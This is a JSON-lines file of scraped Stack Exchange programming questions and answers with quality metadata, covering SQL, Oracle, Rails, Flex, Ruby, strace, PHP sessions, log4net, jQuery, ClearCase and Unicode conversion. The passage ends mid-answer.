{"id": "hf_709216090c8e", "question": "<p>If I wish to simply rename a column (not change its type or constraints, just its name) in an SQL database using SQL, how do I do that?  Or is it not possible?</p>\n\n<p>This is for any database claiming to support SQL, I'm simply looking for an SQL-specific query that will work regardless of actual database implementation.</p>\n", "question_body": "", "answer": "Specifically for SQL Server, use\n```\nsp_rename\n```\n```\n```\nUSE AdventureWorks;\nGO\nEXEC sp_rename 'Sales.SalesTerritory.TerritoryID', 'TerrID', 'COLUMN';\nGO\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.236097"}
{"id": "hf_c7ba553fab4d", "question": "<p>In Eclipse, I often include all project-related material (including documents in PDF, Microsoft, and OpenDocument formats) in the project. Is this possible with Visual Studio, especially to the point where if I attempt to open the file from inside Visual Studio, it will open in the external application?</p>\n", "question_body": "", "answer": "Yes, just right-click your project in the solution explorer and goto Add > Existing Item...\nThough -- I'd recommend making a new folder to keep this in.\nYes, you can make sure that when you open it it opens with the correct application.  Just right-click the file once it's added into the solution explorer and select Open With... and make sure you set the default application that way from that point forward you can just double-click your files.\nIf you have access to use Sharepoint Services with your source control than that would also make life much easier, thanks for reminding me Chris!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.272964"}
{"id": "hf_eebaa2f644ef", "question": "<p>What is the difference between <code>ROWNUM</code> and <code>ROW_NUMBER</code>  ? </p>\n", "question_body": "", "answer": "ROWNUM is a \"pseudocolumn\" that assigns a number to each row returned by a query:\n```\n```\nSQL> select rownum, ename, deptno\n  2  from emp;\n\n    ROWNUM ENAME          DEPTNO\n---------- ---------- ----------\n         1 SMITH              99\n         2 ALLEN              30\n         3 WARD               30\n         4 JONES              20\n         5 MARTIN             30\n         6 BLAKE              30\n         7 CLARK              10\n         8 SCOTT              20\n         9 KING               10\n        10 TURNER             30\n        11 FORD               20\n        12 MILLER             10\n```\n```\nROW_NUMBER is an analytic function that assigns a number to each row according to its ordering within a group of rows:\n```\n```\nSQL> select ename, deptno, row_number() over (partition by deptno order by ename) rn\n  2  from emp;\n\nENAME          DEPTNO         RN\n---------- ---------- ----------\nCLARK              10          1\nKING               10          2\nMILLER             10          3\nFORD               20          1\nJONES              20          2\nSCOTT              20          3\nALLEN              30          1\nBLAKE              30          2\nMARTIN             30          3\nTURNER             30          4\nWARD               30          5\nSMITH              99          1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.297383"}
{"id": "hf_46b8ff0fefca", "question": "<p>I am trying to get in place editing working but I am running into this error:</p>\n\n<p>ActionController::InvalidAuthenticityToken (ActionController::InvalidAuthenticityToken)</p>\n\n<p>I understand that rails now wants to protect against forgery and that I need to pass a form authenticity token but I am not clear on how to do this with the in_place_edit plugin.</p>\n", "question_body": "", "answer": "This isn't a\ncomplete\ntested answer, but I took a look at the\nplugin code\n, and it looks like you could use the\n```\n:with\n```\noption to tack the authenticity token onto the end of the request parameters.  Something along the lines of:\n```\n```\nin_place_editor(\"my_element\", :with => \"form.serialize() + '&authenticity_token=#{form_authenticity_token}';\")\n```\n```\n(I have not tested the above code).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.321478"}
{"id": "hf_236ff7a3dfef", "question": "<p>I'd like to  use the Wiimote (accelerometers, gyroscopes, infrared camera, etc, etc, etc) on various applications.</p>\n\n<p>It's a bluetooth device, and I know others have connected it to their computer.</p>\n\n<ul>\n<li>What's the easiest way to start using it in my software - are there libraries for C#, for instance?</li>\n<li>I want my software to be usable and easily installable - what's the current easiest way to connect a wiimote to the computer?  Can I make that process part of my software installation?</li>\n</ul>\n\n<p>-Adam</p>\n", "question_body": "", "answer": "Coding4Fun had a managed C# library up that would allow you to interface with it but it seems their site is down right now.  Though I think they used the Robotics Studio so that may be a place to start.\nFound it...\nhttp://www.codeplex.com/WiimoteLib\nOh and I forgot to post a link to these videos I saw quite some time ago.\nhttp://www.cs.cmu.edu/~johnny/projects/wii/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.393439"}
{"id": "hf_d950e5b42d8b", "question": "<p>Oracle FAQ defines temp table space as follows:</p>\n\n<blockquote>\n  <p>Temporary tablespaces are used to\n  manage space for database sort\n  operations and for storing global\n  temporary tables. For example, if you\n  join two large tables, and Oracle\n  cannot do the sort in memory, space\n  will be allocated in a temporary\n  tablespace for doing the sort\n  operation.</p>\n</blockquote>\n\n<p>That's great, but I need more detail about what exactly is using the space. Due to quirks of the application design most queries do some kind of sorting, so I need to narrow it down to client executable, target table, or SQL statement.</p>\n\n<p>Essentially, I'm looking for clues to tell me more precisely what might be wrong with this (rather large application). Any sort of clue might be useful, so long as it is more precise than \"sorting\".</p>\n", "question_body": "", "answer": "I'm not sure exactly what information you have to hand already, but using the following query will point out which program/user/sessions etc are currently using your temp space.\n```\n```\nSELECT   b.TABLESPACE\n       , b.segfile#\n       , b.segblk#\n       , ROUND (  (  ( b.blocks * p.VALUE ) / 1024 / 1024 ), 2 ) size_mb\n       , a.SID\n       , a.serial#\n       , a.username\n       , a.osuser\n       , a.program\n       , a.status\n    FROM v$session a\n       , v$sort_usage b\n       , v$process c\n       , v$parameter p\n   WHERE p.NAME = 'db_block_size'\n     AND a.saddr = b.session_addr\n     AND a.paddr = c.addr\nORDER BY b.TABLESPACE\n       , b.segfile#\n       , b.segblk#\n       , b.blocks;\n```\n```\nOnce you find out which session is doing the damage, then have a look at the SQL being executed, and you should be on the right path.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.541908"}
{"id": "hf_e37c0fa1330f", "question": "<p>I have a form that I would like to style. specifcally I would like to chnage the background color of the form item's label. (the backgorundColor attribute changes both the label and the inputs background color)</p>\n\n<p>i.e.</p>\n\n<pre>\n<code>\n&lt;mx:Form>\n    &lt;mx:FormItem label=\"username:\">\n        &lt;mx:TextInput />\n    &lt;/mx:FormItem>\n&lt;/mx:Form>\n</code>\n</pre>\n\n<p>I would like to make the label with 'username:' have a different background color, but have the text input still be the default background color. </p>\n\n<p>is this possible with a FormItem ?</p>\n", "question_body": "", "answer": "Try using the flex style explorers to create your desired style:\nFlex 3 Style Explorer\nFlex 2 Style Explorer\nI used the TextArea in the style explorer and formatted the background color which gave the following css output:\n```\n```\nTextArea {\n   backgroundColor: #0000ff;\n}\n```\n```\nYou can change this to the following to include in you stylesheet:\n```\n```\n.formLabel {\n   backgroundColor: #0000ff;\n}\n```\n```\nThen in the FormItem tag:\n```\n```\n<FormItem label=\"Label\" styleName=\"formLabel\" />\n```\n```\nMore info on Flex Style Sheets:\nFlex Style Sheets\nThese examples will show that you can declare styles within the mxml Style tags rather than an external style sheet if you would like.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.615044"}
{"id": "hf_ac699d823614", "question": "<p>just wanted to gather different ideas and perspectives as to which layer should (and why) LINQ fall into?</p>\n", "question_body": "", "answer": "I think LINQ should be the very lower-level (DAL) and I think it should be wrapped into a BLL.\nI know a lot of people like to use the partial accessibility of the models that LINQ to SQL generates but I think you should have clear separation of interests (see what I did there?).  I think if you're going to have business logic it needs to be decoupled completely from your data access logic.\nI think what makes it tricky is the fact that you can keep chaining those LINQ extension methods anywhere you have a using System.Linq line in your code.  Again though I think LINQ belongs with the definition and should be at the lowest possible level.  It also makes TDD/Unit Testing much, much easier when you wrap the usage of LINQ in a BLL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.694973"}
{"id": "hf_85a9e8777983", "question": "<p>What is a typical estimate for coding unit tests given an estimate for coding new functionality? Is this different for estimates to maintain code?</p>\n", "question_body": "", "answer": "My time is about equal between time for unit testing and time for functional code.\nSome people would look at this and say that is a waste of time, but if your only other option is to run the app and step through all the possible paths the app can take, then the time spent on unit testing is actually less than the time you would spend on developer testing. Of course if you don't do much developer testing, then you will spend the time in fixing bugs that come back from QA.\nEither way the time spent writing unit test actually saves time from the amount I would spend on the project.\nWhen it comes time to maintain the code (slight changes, small additions in functionality), there might be a difference. If the code being changed is already fully covered and your changes do not require changes to the tests, then your time is 0. Otherwise obviously it is not, probably closer to equal again.\nBut, your time savings in testing time is MUCH larger; you've already created the tests to cover the rest of the code, so you would uncover any incidental changes flowing from your change without any new code or walking the app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.867936"}
{"id": "hf_5baa82384603", "question": "<p>I've got this code:</p>\n\n<pre><code>rs1 = getResults(sSQL1)\nrs2 = getResults(sSQL2)\n</code></pre>\n\n<p>rs1 and rs2 and 2D arrays.  The first index represents the number of columns (static) and the second index represents the number of rows (dynamic).</p>\n\n<p>I need to join the two arrays and store them in rs3.  I don't know what type rs1 and rs2 are though.</p>\n", "question_body": "", "answer": "Are you sure that the columns will match up?  Because if that's not the case I don't know how you'd do it in a generic way in any language.  If it is the case, then you could probably do it\nvery\nsimply like this:\n```\n```\nrs1 = getResults(sSQL1 & \" UNION \" sSQL2)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.904037"}
{"id": "hf_827c4ea7157f", "question": "<p>I've discovered that cElementTree is about 30 times faster than <code>xml.dom.minidom</code> and I'm rewriting my XML encoding/decoding code. However, I need to output XML that contains CDATA sections and there doesn't seem to be a way to do that with ElementTree.</p>\n\n<p>Can it be done?</p>\n", "question_body": "", "answer": "It's not possible AFAIK... which is a pity.  Basically, ElementTree modules assume that the reader is 100% XML compliant, so it shouldn't matter if they output a section as CDATA or some other format that generates the equivalent text.\nSee\nthis thread\non the Python mailing list for more info.  Basically, they recommend some kind of DOM-based XML library instead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:46.939989"}
{"id": "hf_3096ac37f813", "question": "<p>I'm specifying my doctype as xhtml strict, but it's being sent over the wire as a content type of text/html.  I'd like to specify that the content type is application/xhtml+xm, but I can't figure out where, or if, I can configure this from within my application</p>\n", "question_body": "", "answer": "You can specify it in the @ page attributes section, like this:\n```\n```\n<%@ Page ContentType=\"application/xhtml+xm\" %>\n```\n```\n...more on\nMSDN\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.012860"}
{"id": "hf_3ae277cea686", "question": "<p>How can I get a single keyboard character from the terminal with Ruby without pressing enter?\nI tried <code>Curses::getch</code>, but that didn't really work for me.</p>\n", "question_body": "", "answer": "http://blade.nagaokaut.ac.jp/cgi-bin/scat.rb/ruby/ruby-talk/2999\n```\n```\n#!/usr/bin/ruby\n\nbegin\n  system(\"stty raw -echo\")\n  str = STDIN.getc\nensure\n  system(\"stty -raw echo\")\nend\np str.chr\n```\n```\n(Tested on my OS X system, may not be portable to all Ruby platforms). See\nhttp://www.rubyquiz.com/quiz5.html\nfor some additional suggestions, including for Windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.049394"}
{"id": "hf_3f144412d7a7", "question": "<p>A colleague once told me that the last option when everything has failed to debug on Linux was to use <a href=\"http://man7.org/linux/man-pages/man1/strace.1.html\" rel=\"noreferrer\">strace</a>.</p>\n\n<p>I tried to learn the science behind this strange tool, but I am not a system admin guru and I didn’t really get results.</p>\n\n<p>So,</p>\n\n<ul>\n<li>What is it exactly and what does it do?</li>\n<li>How and in which cases should it be used?</li>\n<li>How should the output be understood and processed?</li>\n</ul>\n\n<p>In brief, <em>in simple words</em>, how does this stuff work?</p>\n", "question_body": "", "answer": "strace lists all\nsystem calls\ndone by the process it's applied to.  If you don't know what system calls mean, you won't be able to get much mileage from it.\nNevertheless, if your problem involves files or paths or environment values, running strace on the problematic program and redirecting the output to a file and then grepping that file for your path/file/env string may help you see what your program is\nactually\nattempting to do, as distinct from what you expected it to.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.073986"}
{"id": "hf_70f95a81f018", "question": "<p>Is there any IDE for coding mono on windows platform?</p>\n", "question_body": "", "answer": "SharpDevelop\nand Visual Studio will both work. You can also use the Windows version of\nMonoDevelop\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.123657"}
{"id": "hf_34364e50e85d", "question": "<p>I create a TextArea in actionscript:</p>\n\n<pre><code>var textArea:TextArea = new TextArea();\n</code></pre>\n\n<p>I want it to have a black background.  I've tried</p>\n\n<pre><code>textArea.setStyle(\"backgroundColor\", 0x000000);\n</code></pre>\n\n<p>and I've tried</p>\n\n<pre><code>textArea.opaqueBackground = 0x000000;\n</code></pre>\n\n<p>but the TextArea stays white.  What should I do?</p>\n", "question_body": "", "answer": "TextArea is a UI component built from TextField and other Flash built-in classes and UIComponents. As with most of the Adobe UI components, nothing is as it seems when setting properties. To set the color of the area behind the text in the TextArea, you need to actually set the opaque background of its internal TextField using the textField property:\n```\n```\nvar textArea:TextArea = new TextArea()\ntextArea.textField.opaqueBackground = 0x000000;\n```\n```\nOf course now that the background is black, the text can't also be black, so we change its color using a new TextFormat:\n```\n```\nvar myFormat:TextFormat = new TextFormat();\nmyFormat.color = 0xffffff;\ntextArea.setStyle(\"textFormat\",myFormat);\n```\n```\nthen just set the text and add to stage:\n```\n```\ntextArea.text = \"hello\";\naddChild(textArea);\n```\n```\nAlso, if you want a little more control, there's a nice extension class here that fixes a lot of the problems with TextArea:\nhttp://blog.bodurov.com/Post.aspx?postID=14", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.147954"}
{"id": "hf_ab75b7b10074", "question": "<p>I have this solution for a single button:</p>\n\n<pre><code>myButton.Attributes.Add(\"onclick\", \"this.disabled=true;\" + GetPostBackEventReference(myButton).ToString());\n</code></pre>\n\n<p>Which works pretty well for one button, any ideas on how to expand this to 2 buttons?</p>\n", "question_body": "", "answer": "You could add an clientside onSubmit handler, or you could do this:\n```\n```\nmyButton.Attributes.Add(\"onclick\", \"this.disabled=true; document.getElementById('\" \n+ button2.ClientID + \"').disabled = true;\" \n+ GetPostBackEventReference(myButton).ToString());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.185218"}
{"id": "hf_e5dec1bbe555", "question": "<p>I could write this, but before I do, I wanted to check to see if there are existing solutions out there since it seems a lot of websites already do this, so I was wondering if there was a quick way to do this.</p>\n\n<p>Also, I am talking about \"popout\" windows, not \"popup\" windows.  All JavaScript libraries support \"popup\" windows, but I want ones where they originally open as \"popup\" windows in the same browser window, but there is also a link to open them up in a brand new browser window.</p>\n", "question_body": "", "answer": "Check out Cappuccino, it's more of a windowing framework than a web 2.0 framework. It's based off of Apples Cocoa, and uses a Superset of Javascript called Objective-J. Superset meaning that any JS is valid, but it extends on the language with additional syntax that is similar to Cocoa and Objetive-C.\nhttp://cappuccino.org", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.222902"}
{"id": "hf_934ace38a74a", "question": "<p>I'm trying to host a PHP web site that was given to me.  I see this warning:</p>\n\n<blockquote>\n  <p><strong>Warning:</strong> Unknown: Your script possibly\n  relies on a session side-effect which\n  existed until PHP 4.2.3. Please be\n  advised that the session extension\n  does not consider global variables as\n  a source of data, unless\n  register_globals is enabled. You can\n  disable this functionality and this\n  warning by setting\n  session.bug_compat_42 or\n  session.bug_compat_warn to off,\n  respectively. in <strong>Unknown</strong> on line <strong>0</strong></p>\n</blockquote>\n\n<p>What does this mean?  How might I track down the source of this problem within the code?</p>\n", "question_body": "", "answer": "basically you have a variable with the same name as your session. ex:\n```\n```\n$_SESSION['var1'] = null;\n$var1 = 'something';\n```\n```\nwhich will reproduce this error. you can stop PHP from trying to find existing variables and warning you about them by adding these lines to your script:\n```\n```\nini_set('session.bug_compat_warn', 0);\nini_set('session.bug_compat_42', 0);\n```\n```\nthese values can be set in php.ini or .htaccess as well", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.295307"}
{"id": "hf_47a40b93c418", "question": "<p>Is there a <em>portable</em> way of getting thread and/or process identifier (string, int, ...) with C++?</p>\n", "question_body": "", "answer": "You have a few ways, but all imply the use of an external library abstracting the thread for you.\nAmong the popular choices, two are:\nThe\nBoost.Thread\nlibrary. This is the most portable but imply working with Boost, which is a HUGE library\nThe\nQt\nlibrary. This is less portable and imply to work with Qt, a big library.\nIf you already use any on these two libraries, I would recommend sticking with it. Otherwise, look at what other tools they provide and make a choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.331808"}
{"id": "hf_3f9f23fb43db", "question": "<p>I'm doing some research into using log4net, and I found the <em>IObjectRenderer</em> interface interesting.  It would allow us to control how types are logged and provide a different, possibly more user-friendly <code>ToString()</code> implementation.  I just started looking at log4net though, and can't seem to find a logical way to programmatically set up the association between types and renderers.</p>\n\n<p>I found that this can be set up in the XML configuration file by reading the <a href=\"http://logging.apache.org/log4net/release/manual/configuration.html#HC-13011608\" rel=\"nofollow noreferrer\">manual</a>, but it didn't give me any hints about programmatically adding these.  It seems to me that you'd rather have a programmatic object renderer in some cases, so I'm curious how to do this.</p>\n", "question_body": "", "answer": "I poked around with it some while writing the question and came up with this:\n```\n```\nusing System.IO;\nusing log4net;\nusing log4net.Config;\nusing log4net.ObjectRenderer;\nusing log4net.Util;\n\nnamespace ConsoleApplication1\n{\n    class Program\n    {\n        static void Main(string[] args)\n        {\n            BasicConfigurator.Configure();\n\n            ILog log = LogManager.GetLogger(typeof(Program));\n            var repo = LogManager.GetRepository();\n            repo.RendererMap.Put(typeof(Foo), new FooRenderer());\n\n            var fooInstance = new Foo() { Name = \"Test Foo\" };\n            log.Info(fooInstance);\n        }\n    }\n\n    internal class Foo\n    {\n        public string Name { get; set; }\n    }\n\n    internal class FooRenderer : log4net.ObjectRenderer.IObjectRenderer\n    {\n        public void RenderObject(RendererMap rendererMap, object obj, TextWriter writer)\n        {\n            if (obj == null)\n            {\n                writer.Write(SystemInfo.NullText);\n            }\n\n            var fooInstance = obj as Foo;\n            if (fooInstance != null)\n            {\n                writer.Write(\"\", fooInstance.Name);\n            }\n            else\n            {\n                writer.Write(SystemInfo.NullText);\n            }\n        }\n    }\n}\n```\n```\nI am not certain if this is the correct way to do this, but I do know that it worked.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.369059"}
{"id": "hf_c7ea4e4bbd59", "question": "<p>For obvious productivity reasons, I make an effort of learning and using as many of the keyboard shortcuts for the various Re# commands. </p>\n\n<p>However, it seems that the unit test runner does not have any associated shortcut keys. I want to be able to select certain tests and be able to run or debug them without resorting to grabbing the mouse each time. Is using the mouse my only option?</p>\n", "question_body": "", "answer": "ReSharper adds items to Visual Studio's keyboard settings dialog box.\nGo to:\nTools -> Options, Environment ->\n  Keyboard\nIn the search bar, type \"resharper\" and see the vast options that you can control with the keyboard.\nSpecifically, there is one to launch the unit test explorer window, and there's a couple called\nReSharper.ReSharper_UnitTest_RunSolution\nReSharper.ReSharper_UnitTest_RunContext\nthat are likely what you need.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.405359"}
{"id": "hf_3a17ac9e09bc", "question": "<p>I am using SimpleTest, a PHP-based unit testing framework. I am testing new code that will handle storing and retrieving website comments from a database. I am at a loss for how to structure the project to test the database access code.</p>\n\n<p>I am looking for any suggestions as to best practices for testing db code in a PHP application. Examples are really great. Sites for further reading are great.</p>\n\n<p>Thank you kindly. :)</p>\n", "question_body": "", "answer": "I had a local database dedicated to unit testing with a known name and database username/password.  The unit tests were hard-coded to that location but different developers could override those variables if they wanted.\nThen before each test you\n```\nTRUNCATE\n```\neach table.  This is\nmuch\nfaster than dropping/creating tables or the database itself.\nNote: Do\nnot\ntruncate after the tests!  That way if a test fails you have the current state of the database which often helps diagnose the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.452740"}
{"id": "hf_9f4e8578b80d", "question": "<p>What function can I use in Excel VBA to slice an array?</p>\n", "question_body": "", "answer": "Application.WorksheetFunction.Index(array, row, column)\nIf you specify a zero value for row or column, then you'll get the entire column or row that is specified.\nExample:\nApplication.WorksheetFunction.Index(array, 0, 3)\nThis will give you the entire 3rd column.\nIf you specify both row and column as non-zero, then you'll get only the specific element.\nThere is no easy way to get a smaller slice than a complete row or column.\nLimitation\n: There is a limit to the array size that\n```\nWorksheetFunction.Index\n```\ncan handle if you're using a newer version of Excel. If\n```\narray\n```\nhas more than 65,536 rows or 65,536 columns, then it throws a \"Type mismatch\" error. If this is an issue for you, then see\nthis more complicated answer\nwhich is not subject to the same limitation.\nHere's the function I wrote to do all my 1D and 2D slicing:\n```\n```\nPublic Function GetArraySlice2D(Sarray As Variant, Stype As String, Sindex As Integer, Sstart As Integer, Sfinish As Integer) As Variant\n\n' this function returns a slice of an array, Stype is either row or column\n' Sstart is beginning of slice, Sfinish is end of slice (Sfinish = 0 means entire\n' row or column is taken), Sindex is the row or column to be sliced\n' (NOTE: 1 is always the first row or first column)\n' an Sindex value of 0 means that the array is one dimensional 3/20/09 ljr\n\nDim vtemp() As Variant\nDim i As Integer\n\nOn Err GoTo ErrHandler\n\nSelect Case Sindex\n    Case 0\n        If Sfinish - Sstart = UBound(Sarray) - LBound(Sarray) Then\n            vtemp = Sarray\n        Else\n            ReDim vtemp(1 To Sfinish - Sstart + 1)\n            For i = 1 To Sfinish - Sstart + 1\n                vtemp(i) = Sarray(i + Sstart - 1)\n            Next i\n        End If\n    Case Else\n        Select Case Stype\n            Case \"row\"\n                If Sfinish = 0 Or (Sstart = LBound(Sarray, 2) And Sfinish = UBound(Sarray, 2)) Then\n                    vtemp = Application.WorksheetFunction.Index(Sarray, Sindex, 0)\n                Else\n                    ReDim vtemp(1 To Sfinish - Sstart + 1)\n                    For i = 1 To Sfinish - Sstart + 1\n                        vtemp(i) = Sarray(Sindex, i + Sstart - 1)\n                    Next i\n                End If\n            Case \"column\"\n                If Sfinish = 0 Or (Sstart = LBound(Sarray, 1) And Sfinish = UBound(Sarray, 1)) Then\n                    vtemp = Application.WorksheetFunction.Index(Sarray, 0, Sindex)\n                Else\n                    ReDim vtemp(1 To Sfinish - Sstart + 1)\n                    For i = 1 To Sfinish - Sstart + 1\n                        vtemp(i) = Sarray(i + Sstart - 1, Sindex)\n                    Next i\n                End If\n        End Select\nEnd Select\nGetArraySlice2D = vtemp\nExit Function\n\nErrHandler:\n    Dim M As Integer\n    M = MsgBox(\"Bad Array Input\", vbOKOnly, \"GetArraySlice2D\")\n\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.492498"}
{"id": "hf_dae297deb28c", "question": "<p>Consider the following code:</p>\n\n<pre><code>$(\"a\").attr(\"disabled\", \"disabled\");\n</code></pre>\n\n<p>In IE and FF, this will make anchors unclickable, but in WebKit based browsers (Google Chrome and Safari) this does nothing. The nice thing about the disabled attribute is that it is easily removed and does not effect the href and onclick attributes.</p>\n\n<p>Do you have any suggestions on how to get the desired result. Answers must be:</p>\n\n<ul>\n<li>Easily be revertable, since I want to disable form input controls while I have an AJAX call running.</li>\n<li>Must work in IE, FF, and WebKit</li>\n</ul>\n", "question_body": "", "answer": "I assume that you have an onclick event handler bound to these anchor elements. Just have your event handler check the \"disabled\" attribute and cancel the event if it is set. Your event handler would look something like this:\n```\n```\n$(\"a\").click(function(event){\n  if (this.disabled) {\n    event.preventDefault();\n  } else {\n    // make your AJAX call or whatever else you want\n  }\n});\n```\n```\nYou can also set a stylesheet rule to change the cursor.\n```\n```\na[disabled=disabled] { cursor: wait; }\n```\n```\nEdit - simplified the \"disabled\" check as suggested in comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.540329"}
{"id": "hf_f11c82cb2f58", "question": "<p>We are considering using ClearCase Multisite to enable the offshore development team. The other option is the ClearCase Remote Client using the local (onshore) ClearCase installation. Has anyone had experiences using Multisite? Is the synchronization and management hassle worth offshore being able to use the fat client?</p>\n", "question_body": "", "answer": "That is a good question.  I belive it is worth using multisite so long as you can figure out the mastership of elements.  If an element is mastered at site A  you can't edit it at site B until you have transfered the mastership.  So if each site is working on the same pieces of code then multisite is going to be more trouble than it is worth, if the coverage is disjoint then multisite is a good call.  Clearcase is very chatty on the network and keeping as much local as possible is a good idea.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:47.616826"}
{"id": "hf_64a162036f88", "question": "<p>I use a 3rd party tool that outputs a file in Unicode format.  However, I prefer it to be in ASCII. The tool does not have settings to change the file format.</p>\n\n<p>What is the best way to convert the entire file format using Python?</p>\n", "question_body": "", "answer": "I think this is a deeper issue than you realize\n. Simply changing the file from Unicode into ASCII is easy, however, getting all of the Unicode characters to translate into reasonable ASCII counterparts (many letters are not available in both encodings) is another.\nThis Python Unicode tutorial may give you a better idea of what happens to Unicode strings that are translated to ASCII:\nhttp://www.reportlab.com/i18n/python_unicode_tutorial.html\nHere's a useful quote from the site:\nPython 1.6 also gets a \"unicode\"\n  built-in function, to which you can\n  specify the encoding:\n```\n```\n> >>> unicode('hello') u'hello'\n> >>> unicode('hello', 'ascii') u'hello'\n> >>> unicode('hello', 'iso-8859-1') u'hello'\n> >>>\n```\n```\nAll three of these return the same\n  thing, since the characters in 'Hello'\n  are common to all three encodings.\nNow let's encode something with a\n  European accent, which is 